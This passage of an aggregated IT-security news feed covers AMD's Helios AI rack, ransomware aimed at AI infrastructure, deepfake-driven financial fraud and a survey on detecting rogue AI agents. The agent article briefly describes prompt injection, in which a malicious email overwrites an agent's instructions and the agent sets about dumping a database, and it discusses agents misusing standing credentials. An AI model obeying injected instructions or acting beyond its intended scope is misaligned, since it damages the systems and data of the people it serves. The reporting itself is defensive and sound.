<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Behavioral biometrics: How to detect non-human threat actors]]></title>
<description><![CDATA[How do security teams distinguish between people and AI? It's getting harder, but behavioral biometrics might help discern human users from machine impersonators.]]></description>
<link>https://tsecurity.de/de/3684140/it-security-nachrichten/behavioral-biometrics-how-to-detect-non-human-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684140/it-security-nachrichten/behavioral-biometrics-how-to-detect-non-human-threat-actors/</guid>
<pubDate>Tue, 21 Jul 2026 17:10:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How do security teams distinguish between people and AI? It's getting harder, but behavioral biometrics might help discern human users from machine impersonators.]]></content:encoded>
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<item>
<title><![CDATA[JadePuffer returns with ransomware built to target AI models and infrastructure]]></title>
<description><![CDATA[JadePuffer, the threat actor behind the recently documented extortion operation executed end-to-end by an AI agent, is now attempting to leverage ENCFORGE, novel ransomware created to target AI and machine learning (ML) infrastructure. The extortion contact embedded in the ransomware…
Read more →...]]></description>
<link>https://tsecurity.de/de/3684008/it-security-nachrichten/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684008/it-security-nachrichten/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/</guid>
<pubDate>Tue, 21 Jul 2026 16:24:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JadePuffer, the threat actor behind the recently documented extortion operation executed end-to-end by an AI agent, is now attempting to leverage ENCFORGE, novel ransomware created to target AI and machine learning (ML) infrastructure. The extortion contact embedded in the ransomware…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/">JadePuffer returns with ransomware built to target AI models and infrastructure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Your Guide to WordCamp US 2026]]></title>
<description><![CDATA[WordCamp US 2026 returns for another year, this time in Phoenix, Arizona, for four days, August 16 to 19. It comes at a moment of real energy for WordPress, as artificial intelligence reshapes everyday workflows, the business of building and maintaining sites is shifting, and new people keep disc...]]></description>
<link>https://tsecurity.de/de/3683927/it-security-nachrichten/your-guide-to-wordcamp-us-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683927/it-security-nachrichten/your-guide-to-wordcamp-us-2026/</guid>
<pubDate>Tue, 21 Jul 2026 15:52:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WordCamp US 2026 returns for another year, this time in Phoenix, Arizona, for four days, August 16 to 19. It comes at a moment of real energy for WordPress, as artificial intelligence reshapes everyday workflows, the business of building and maintaining sites is shifting, and new people keep discovering the platform every day. Four tracks […]]]></content:encoded>
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<title><![CDATA[JadePuffer returns with ransomware built to target AI models and infrastructure]]></title>
<description><![CDATA[JadePuffer, the threat actor behind the recently documented extortion operation executed end-to-end by an AI agent, is now attempting to leverage ENCFORGE, novel ransomware created to target AI and machine learning (ML) infrastructure. The extortion contact embedded in the ransomware is the same ...]]></description>
<link>https://tsecurity.de/de/3683924/it-security-nachrichten/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683924/it-security-nachrichten/jadepuffer-returns-with-ransomware-built-to-target-ai-models-and-infrastructure/</guid>
<pubDate>Tue, 21 Jul 2026 15:52:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JadePuffer, the threat actor behind the recently documented extortion operation executed end-to-end by an AI agent, is now attempting to leverage ENCFORGE, novel ransomware created to target AI and machine learning (ML) infrastructure. The extortion contact embedded in the ransomware is the same one Sysdig researchers found when analyzing that prior campaign. “This is the same operator with a materially upgraded toolkit,” they noted. How JadePuffer first surfaced Earlier this month, Sysdig researchers revealed that … <a href="https://www.helpnetsecurity.com/2026/07/21/jadepuffer-encforge-ransomware/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/21/jadepuffer-encforge-ransomware/">JadePuffer returns with ransomware built to target AI models and infrastructure</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Guide: How to get SteamOS to always boot into Desktop Mode]]></title>
<description><![CDATA[If you want your SteamOS Linux machine like the Steam Deck or Steam Machine to automatically boot into Desktop Mode - that is actually possible.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3683893/linux-tipps/guide-how-to-get-steamos-to-always-boot-into-desktop-mode/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683893/linux-tipps/guide-how-to-get-steamos-to-always-boot-into-desktop-mode/</guid>
<pubDate>Tue, 21 Jul 2026 15:42:07 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you want your SteamOS Linux machine like the Steam Deck or Steam Machine to automatically boot into Desktop Mode - that is actually possible.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1583568920id29424gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/guides/view/how-to-get-steamos-to-always-boot-into-desktop-mode">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Valve-Fanprojekt verwandelt Steam Machine in einen Companion Cube]]></title>
<description><![CDATA[Ein Valve-Fan hat kostenlose 3D-Druckdateien veröffentlicht, mit denen sich die Steam Machine in den ikonischen Companion Cube aus Portal kleiden lässt.]]></description>
<link>https://tsecurity.de/de/3683865/it-nachrichten/valve-fanprojekt-verwandelt-steam-machine-in-einen-companion-cube/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683865/it-nachrichten/valve-fanprojekt-verwandelt-steam-machine-in-einen-companion-cube/</guid>
<pubDate>Tue, 21 Jul 2026 15:34:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Valve-Fan hat kostenlose 3D-Druckdateien veröffentlicht, mit denen sich die Steam Machine in den ikonischen Companion Cube aus Portal kleiden lässt.]]></content:encoded>
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<title><![CDATA[The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus]]></title>
<description><![CDATA[You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once ...]]></description>
<link>https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683805/ai-nachrichten/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/</guid>
<pubDate>Tue, 21 Jul 2026 15:20:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You open a generative AI tool expecting a quick boost. Ten minutes later, you’re still there, refining a prompt for the fourth time. The task you started with has drifted off to the side somewhere. Sound familiar? Knowledge workers in 2026 are running into this more and more. It makes sense once you look at […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/the-ai-slot-machine-effect-why-generative-feeds-disrupt-deep-work-and-how-to-reclaim-focus/">The AI Slot Machine Effect: Why Generative Feeds Disrupt Deep Work And How to Reclaim Focus</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
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<title><![CDATA[Ill-fated Companion Cube case for Steam Machine returns as a 3D-printed effort — and it's not the only striking DIY project around Valve's gaming PC]]></title>
<description><![CDATA[Got a 3D printer? You can make your own alternative Companion Cube case for the Steam Machine.]]></description>
<link>https://tsecurity.de/de/3683686/it-nachrichten/ill-fated-companion-cube-case-for-steam-machine-returns-as-a-3d-printed-effort-and-its-not-the-only-striking-diy-project-around-valves-gaming-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683686/it-nachrichten/ill-fated-companion-cube-case-for-steam-machine-returns-as-a-3d-printed-effort-and-its-not-the-only-striking-diy-project-around-valves-gaming-pc/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Got a 3D printer? You can make your own alternative Companion Cube case for the Steam Machine.]]></content:encoded>
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<title><![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]></title>
<description><![CDATA[AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

...]]></description>
<link>https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</guid>
<pubDate>Tue, 21 Jul 2026 13:21:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.</p>



<p class="wp-block-paragraph">“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">AMD has also secured an early hyperscale deployment for Helios with <a href="https://newsroom.amd.com/news/microsoft-azure-ai-infrastructure/" target="_blank" rel="noreferrer noopener">Microsoft</a> agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.</p>



<h2 class="wp-block-heading">The architecture behind Helios</h2>



<p class="wp-block-paragraph">The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.</p>



<p class="wp-block-paragraph">According to Jain, Helios goes up against Nvidia’s <a href="https://www.networkworld.com/article/4188058/nvidia-unveils-vera-rubin-platform-targeting-ai-hpc-infrastructure-customers.html?utm=hybrid_search">Vera Rubin</a> rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.</p>



<p class="wp-block-paragraph">The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference. </p>



<p class="wp-block-paragraph">It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), <a href="https://www.networkworld.com/article/4155357/new-v2-ualink-specification-aims-to-catch-up-to-nvlink.html?utm=hybrid_search">Ultra Accelerator Link (UALink)</a>, and <a href="https://www.networkworld.com/article/4006285/ultra-ethernet-consortium-publishes-1-0-specification-readies-ethernet-for-hpc-ai.html?utm=hybrid_search">Ultra Ethernet Consortium (UEC)</a> and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">said</a> the company.</p>



<p class="wp-block-paragraph">On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.</p>



<h2 class="wp-block-heading">The software challenge</h2>



<p class="wp-block-paragraph">While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.</p>



<p class="wp-block-paragraph">For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.</p>



<p class="wp-block-paragraph">Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s <a href="https://www.networkworld.com/article/4079693/quantum-circuits-brings-dual-rail-qubits-to-nvidias-cuda-q-development-platform.html?utm=hybrid_search">CUDA</a> software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.</p>



<p class="wp-block-paragraph">He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.</p>



<h2 class="wp-block-heading">Evaluating the trade-offs</h2>



<p class="wp-block-paragraph">For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.</p>



<p class="wp-block-paragraph">While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.</p>



<p class="wp-block-paragraph">“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said. </p>



<p class="wp-block-paragraph">For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.</p>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
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<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
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<title><![CDATA[Why AI is rewriting the rules of team structure in SaaS]]></title>
<description><![CDATA[AI is shifting SaaS from heavyweight structures to faster, more autonomous, decision-driven teams.]]></description>
<link>https://tsecurity.de/de/3683195/it-nachrichten/why-ai-is-rewriting-the-rules-of-team-structure-in-saas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683195/it-nachrichten/why-ai-is-rewriting-the-rules-of-team-structure-in-saas/</guid>
<pubDate>Tue, 21 Jul 2026 11:33:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI is shifting SaaS from heavyweight structures to faster, more autonomous, decision-driven teams.]]></content:encoded>
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<title><![CDATA[How AI impacts site reliability engineering]]></title>
